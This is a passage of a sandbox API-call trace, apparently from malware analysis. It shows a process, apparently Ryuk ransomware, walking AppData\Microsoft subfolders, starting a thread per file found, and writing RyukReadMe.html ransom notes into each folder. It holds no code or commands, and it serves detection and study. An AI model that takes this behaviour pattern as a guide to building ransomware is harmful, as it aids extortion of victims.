	[0223.538] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0223.538] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0223.538] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b20000
	[0223.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0223.580] VirtualFree (lpAddress=0x8b20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.838] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1
	[0223.838] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b20000
	[0223.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0223.891] VirtualFree (lpAddress=0x8b20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.892] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0
	[0223.892] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0223.892] SetLastError (dwErrCode=0x0) 
	[0223.892] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.892] GetLastError () returned 0x3
	[0223.893] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0223.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.893] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0223.893] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0223.893] SetLastError (dwErrCode=0x0) 
	[0223.893] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.894] GetLastError () returned 0xb7
	[0223.894] CloseHandle (hObject=0x6cc) returned 1
	[0223.894] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0223.894] SetLastError (dwErrCode=0x0) 
	[0223.894] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.895] GetLastError () returned 0xb7
	[0223.895] CloseHandle (hObject=0x6cc) returned 1
	[0223.895] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0223.896] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0223.896] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4d3ccdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
	[0223.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b20000
	[0223.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0223.908] VirtualFree (lpAddress=0x8b20000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.909] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4d3ccdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3c1f2, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0
	[0223.909] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0223.909] SetLastError (dwErrCode=0x0) 
	[0223.909] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.913] GetLastError () returned 0x0
	[0223.913] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0223.915] CloseHandle (hObject=0x6cc) returned 1
	[0223.917] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0223.917] SetLastError (dwErrCode=0x0) 
	[0223.917] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.917] GetLastError () returned 0xb7
	[0223.917] CloseHandle (hObject=0x6cc) returned 1
	[0223.918] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0223.918] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0223.918] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0223.918] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0223.919] SetLastError (dwErrCode=0x0) 
	[0223.919] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.919] GetLastError () returned 0x0
	[0223.919] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0223.922] CloseHandle (hObject=0x6cc) returned 1
	[0223.923] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0223.923] SetLastError (dwErrCode=0x0) 
	[0223.923] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.923] GetLastError () returned 0xb7
	[0223.923] CloseHandle (hObject=0x6cc) returned 1
	[0223.924] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0223.924] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0223.925] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0223.925] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0223.925] SetLastError (dwErrCode=0x0) 
	[0223.925] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.927] GetLastError () returned 0x0
	[0223.927] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0223.930] CloseHandle (hObject=0x6cc) returned 1
	[0223.930] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0223.930] SetLastError (dwErrCode=0x0) 
	[0223.931] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.931] GetLastError () returned 0xb7
	[0223.931] CloseHandle (hObject=0x6cc) returned 1
	[0223.931] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0223.932] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0223.932] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0223.932] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0223.932] SetLastError (dwErrCode=0x0) 
	[0223.932] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.933] GetLastError () returned 0x0
	[0223.933] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0223.936] CloseHandle (hObject=0x6cc) returned 1
	[0223.936] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0223.936] SetLastError (dwErrCode=0x0) 
	[0223.936] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0223.937] GetLastError () returned 0xb7
	[0223.937] CloseHandle (hObject=0x6cc) returned 1
	[0223.937] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0224.236] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
